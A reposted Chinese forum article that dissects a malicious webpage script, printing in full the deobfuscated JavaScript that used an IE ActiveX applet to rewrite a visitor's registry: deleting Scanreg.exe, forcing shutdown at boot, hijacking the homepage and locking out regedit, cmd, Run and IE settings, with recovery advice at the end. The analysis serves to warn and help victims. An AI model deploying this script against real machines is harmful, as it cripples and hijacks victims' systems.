[转载]恶意网页的注册表修改JS脚本剖析解密

文章作者：maylin

某日，朋友找我来诉苦！说是访问了一个网页之后，机器大多数程序都不能用，还出了很多毛病！不得以重装之！怀着好奇的心情，我浏览了这个网页！在系统被改的一团糟后，我才明白朋友为什么会重装系统了！这样类似的方法，与大约在十个月前，我在某个论坛发表的那段代码相似！但我原来的初衷，是为了做远程注册表辅导教学和实时帮助的！没想到当初毫不受重视！现在却被如此广泛的应用！其实只是利用了ACTIVE和JS修改了浏览方的注册表！现在我们来分析一下我从几个类似站点，选出的最为典型的一例！这段危险代码能将浏览了这个网页的IE跟系统都修改得不象样，甚至连WINDOWS的基本程序都不能使用。费了点时间破了站长蹩脚的加密！终于弄出了明码！大家请看！！
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
//建立加入收藏夹和链接的事件
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.createShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//建立事件结束
function f(){
try
{
//ActiveX initialization （初始化ACTIVEX，为修改浏览者的注册表做准备。）
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();
try
{
//开始修改注册表
Shl.RegWrite ("HKLM\\Software\\[M$]\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u /autorun");（开机时Scanreg.exe被无提示删除！这样浏览者就无法通过恢复浏览之前的注册表来修复系统！既然可以无提示删文件，那FORMat……）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Windows\\CurrentVersion\\RunOnce\\rundll.exe","rundll.exe user.exe,exitwindows");（开机就无提示关机！！什么意思！那还开机干什么！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Internet Explorer\\Main\\Start Page", "http://user.netomia.com/wjkplx/");（你的主页已经被改了！！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Internet Explorer\\Toolbar\\backbitmapie5","c:\\Windows\\web\\wvleft.bmp");（给IE换这么丑的背景图片！！亏他想的出！！！！）
Shl.RegWrite ("HKCR\\CLSID\\\\", "安全测试网");（不是吧！！把我的电脑改名叫安全测试网！！太难听了！！！）
Shl.RegWrite ("HKCU\\Software\\Classes\\CLSID\\\\", "安全测试网");（还要确认一遍啊！！不要太绝啦！！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Window Title", "= 　　　　★ 安全测试网★---<<测出你的系统上网极不安全，恢复后请将IE安全级别设为高>>");（什么烂IE标题啊！！难看死了！可是天天见的东东！！要改就改好点嘛！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Internet Explorer\\Main\\Window Title", "= 　　　　★ 安全测试网★---<<测出你的系统上网极不安全，恢复后请将IE安全级别设为高>>");（又确认一次！！你还真是小心谨慎啊！！）
Shl.RegWrite("HKCU\\Software\\[M$]\\Internet Explorer\\Main\\SearchPage","http://user.netomia.com/wjkplx/");（搜索页也改！！！没人性！！）
Shl.RegWrite ("HKCR\\CLSID\\\\", " http://user.netomia.com/wjkplx/");（回收站也………………）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Internet Explorer\\TypedURLs\\url1"," http://user.netomia.com/wjkplx/");（改了这么多了还往常用网址里加！！贪得无厌！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Internet Explorer\\TypedURLs\\url2"," http://user.netomia.com/wjkplx/");（……）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Default_Page_URL","http://user.netomia.com/wjkplx/");（缺省页也改啊！！[M$]你家开的啊！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Local Page"," http://user.netomia.com/wjkplx/");（本地页！！我的天！！别加了！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Start Page"," http://user.netomia.com/wjkplx/");（安全第一！确认下先！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Search Page"," http://user.netomia.com/wjkplx/");（加吧加吧！！哼！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\Main\\Default_Search_URL","http://user.netomia.com/wjkplx/");（如果硬要给扁你加个极限！我希望是一万拳！！）
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\\\InProcServer32\\","rem C:\\WINDOWS\\system\\BROWSEUI.DLL");（没有地址栏的IE，不是一个完整的IE！你叫我怎么说出口！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskBar", "1","REG_DWORD");（不能设置任务栏和开始菜单了！！5555~~~~~）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind","1","REG_DWORD");（查找也不让用！！我想PK了！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions","1","REG_DWORD");（IE工具的INTERNET选项怎么一点就说管理员禁止啊！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu","1","REG_DWORD");（鼠标右键菜单都弹不出来！！！倒~~~~）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun","1","REG_DWORD");（不能运行了！你叫我怎么netatat-a啊！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disablecmd","1","REG_DWORD");（DOS命令运行不了了！我要和你拼了！！）
Shl.RegWrite
("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode","1","REG_DWORD");（连纯DOS都进不去！！太绝情了！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "问候");（开机即跳出对话框，吓死人了！也能叫问候！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","朋友:非常感谢你访问过我们的网站<http://user.netomia.com/wjkplx/>经测试你的电脑存在严重的漏洞隐患，你的电脑已被设置了一些障碍，只能运行一少部份程序。请点击桌面上的【安全测试网】快捷键上我们的网站去恢复，点击秘密特区链接，按提示做即可。或者点击下载解锁程序。");（开机就跳出一堆费话！！去死！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");（IE的右键菜单都没了！！太无情了！！）
Shl.RegWrite ("HKLM\\Software\\CLASSES\\.reg\\","txtfile");（reg文件怎么用即使本打开啊！无法导入了！！挂了挂了！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\sys tem\\DisableRegistryTools","1","REG_DWORD");（禁止使用注册表程序regedit.exe了！！我怎么改注册表啊！！）
Shl.RegWrite ("HKCU\\Software\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","1","REG_DWORD");（控制面板也禁用，好象只有网吧老板才做这种事啊！！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");（又禁止IE的右键菜单一次。生怕别人看他的源码！！不就几个烂JS吗？？）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoBrowserOptions","1","REG_DWORD");（Internet选项被禁用了！！你好毒！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","1","REG_DWORD");（另存为也不让！！不是吧！！"）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoFileOpen","1","REG_DWORD");（文件下面的打开没有了！不会吧！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoTheaterMode","1","REG_DWORD");（全屏模式对IE控制面板的控制，什么东东··我从来不全屏！琐不锁随你便！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\Advanced","1","REG_DWORD");（禁止高级页设置，不懂啊！！没用过！！！ ）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\Cache Internet","1","REG_DWORD");（禁止更改临时文件的设置，请帮我改到D:\IE去，谢谢！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\AutoConfig","1","REG_DWORD");（禁止更改自动配置的设置，改吧改吧！！习惯了！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\HomePage","1","REG_DWORD");（禁止更改主页设置，你别做的这么绝哦！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\History","1","REG_DWORD");（禁止更改历史纪录设置，会多很多垃圾大！！拜托！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\Connwiz Admin Lock","1","REG_DWORD");（禁止Internet连接向导，谢谢你帮我禁用了！！呵呵！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\Check_If_Default","1","REG_DWORD");（禁止更改默认浏览器检查，也好，免得总是和腾讯争！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\ContentTab","1","REG_DWORD");（禁止内容项！！！）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\AboutURLs\\安全测试网"," http://user.netomia.com/wjkplx/");（啊！！！又加一个！！晕！！！~~~）
Shl.RegWrite ("HKLM\\Software\\[M$]\\Internet Explorer\\AboutURLs\\blank"," http://user.netomia.com/wjkplx/");（IE如果有一点地方没有他网站的影子他就睡不着觉？）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\SecurityTab","1","REG_DWORD");（禁止安全项，那不是不能设下载了！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\ResetWebSettings","1","REG_DWORD");（禁止"重置Web设置"功能，不会吧！！把我最后一条路封了！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Restrictions\\NoViewSource","1","REG_DWORD");（禁止源文件，还说是保护知识产权！呸！！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Infodelivery\\Restrictions\\NoAddingSubScriptions","1","REG_DWORD");（禁止添加脱机页计划，你怎么还不死啊！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFileMenu","1","REG_DWORD");（禁止资源管理器中的文件，F*** Y**！）
Shl.RegWrite ("HKCU\\Software\\Policies\\[M$]\\Internet Explorer\\Control Panel\\Settings","1","REG_DWORD");（禁止更改连接设置，555我才从猫换ISDN，怎么办！！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","1","REG_DWORD");（禁止使用任何程序！不是吧！！那干脆把电脑砸了的了！！怕我们不会用计算机给弄坏了所以帮忙锁起来？？又不是你的！！幸好你还有点人性！！还留了几个程序！！。）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\Iexplore.exe","Iexplore.exe");（资源管理器！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\WINWORD.EXE","WINWORD.EXE");（没用过！！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\EXCEL.EXE","EXCEL.EXE");（[M$]的烂东东！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\WINZIP32.EXE","WINZIP32.EXE");（版本过时了！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\ACDSee32.exe","ACDSee32.exe");（看图最佳选择！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\photoshop.exe","photoshop.exe");（太慢了！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\Notepad.exe","Notepad.exe");（可以已经不能写REG了！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\Wordpad.exe","Wordpad.exe");（我早删了！！）
Shl.RegWrite ("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\deltree.exe","deltree.exe");（你什么都锁了！！叫我删什么！！windows吗？？）
Shl.RegWrite
("HKCU\\SoftWare\\[M$]\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun\\rundll.exe","rundll.exe");（没他就挂了！！！）
//注册表修改完毕

//加入收藏的程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//设置完毕


//加入收藏
AddFavLnk(loc, "【安全测试网】","http://user.netomia.com/wjkplx/");
//加完了

//桌面建立快捷图标程序
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Desktop";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Desktop";
if(!FSO.FolderExists(loc))
{
return;
}
}
//设置完毕

//建立图标
AddFavLnk(loc, "【安全测试网】","http://user.netomia.com/wjkplx/");
//桌面建立快捷图标结束，关闭IE的时候莫名其妙看见自己的桌面上多了一个自己并不想要的东西是什么感觉？

}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 1000);
}

init();
</script>
站长还利用IE错误的MIME头漏洞将一个可执行文件下载到了机器的临时文件夹中，即使修复了系统也无法更改首页!真是卑鄙之极！！我不希望受害者为了预防而禁用JS和AVX，那无疑是因噎废食！所有使用JS的人是不希望看到这样的结局的！所以请那些自以为是的人立即停止你们愚蠢而又令人生厌的行为吧！为了你们自己！也为了中国网络的健康成长！！那段本来善意而且以研究为初衷的代码就为一些自私的只为了自己点击率的网站所利用!对此我深表痛心,也对广大的受害者表示万分的歉意!对如万花谷,520U,及这个网站的制作者表示强列的谴责!网站是应该以内容而赢得访问量的而不是用如此卑鄙的手段!看到国内的网络安全人才的不团结及各网站的相互攻击!我对中国网络发展的未来深表忧虑!中国的网络之路不应像中过的过去一样我们必须团结!总体来看,中国的计算机总体水平还相当低!我们应该帮助弱者,而不是恃强凌弱!团结,才是我们唯一欠缺的技术其次!!我现在将破解的源码共享!请受害的朋友到http://mayyi.top263.net/recover.htm恢复可以用右键查看源码!源码皆是JS所编的明码,由于时间的原因VBS和ASP及JSP的编码方法请来涵咨询!欢迎有兴趣的朋友和我一起讨论网络技术!!其他类似的网页也可用此恢复! HKEY_CURRENT_USER\Software\[M$]\Internet Explorer\MenuExt及HKEY_LOCAL_MACHINE\Software\[M$]\Windows\CurrentVersion\Run*以及HKEY_CURRENT_USER\Software\[M$]\Windows\CurrentVersion\Run*和C:\WINDOWS\Start Menu\Programs\启动^^^^还有桌面,收藏夹,快速启动,C盘根目录下的*.htm等等请大家自己手动删除!
或者直接去下载IE补丁！
WINDOWS 9X用户
Internet Explorer 5.01 Service Pack 2.

http://www.[M$].com/windows/ie/downloads/recommended/ie501sp2/default.asp

Internet Explorer 5.5 Service Pack 2.

http://www.[M$].com/windows/ie/downloads/recommended/ie55sp2/default.asp